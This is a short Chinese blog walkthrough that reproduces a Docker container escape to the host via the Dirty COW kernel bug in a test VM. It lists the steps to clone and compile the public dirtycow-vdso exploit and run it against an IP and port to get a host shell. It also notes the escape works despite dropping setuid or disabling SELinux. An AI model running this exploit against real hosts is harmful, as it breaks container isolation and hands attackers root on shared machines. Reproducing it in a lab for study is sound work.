docker用脏牛逃逸到宿主机

测试环境虚拟机:ubuntu14.04,安装docker
1、安装docker:

1
apt-get install docker.io

具体安装可见官方文档:https://docs.docker.com/install/linux/docker-ce/ubuntu/

2、在docker中pull一个ubuntu:14.04

1
docker pull ubuntu:14.04docker images

看看已有容器

3、 接下来我们创建一个守护态的Docker容器,然后使用docker attach命令进入该容器。

1
docker run -itd ubuntu:14.04 /bin/bash

4、然后我们使用docker ps查看到该容器CONTAINER ID信息,接下来就使用docker attach进入该容器

1
docker attach CONTAINER ID

5、安装编译软件,下载exp

1
2
3
4
5
6
apt-get install -y build-essential
apt-get install -y nasm
apt-get install -y git
git clone https://github.com/scumjr/dirtycow-vdso
make
ifconfig

make完后在目录多出一个0xdeadbeef,执行命令:

1
./0xdeadbeef docker的IP:端口

等一会然后发现终端没输出了,在里面输入命令会有回显


对比IP地址,上图为宿主,下图为docker容器

6、提权原理可以看
https://bbs.pediy.com/thread-220057.htm
https://blog.csdn.net/enjoy5512/article/details/53196047

7、用下面2中方式启动容器依然可以

1
2
docker run --cap-drop setuid -itd zangniu:1 /bin/bash
docker --selinux-enabled=false run -itd zangniu:1 /bin/bash

⭐您的支持将鼓励我继续创作⭐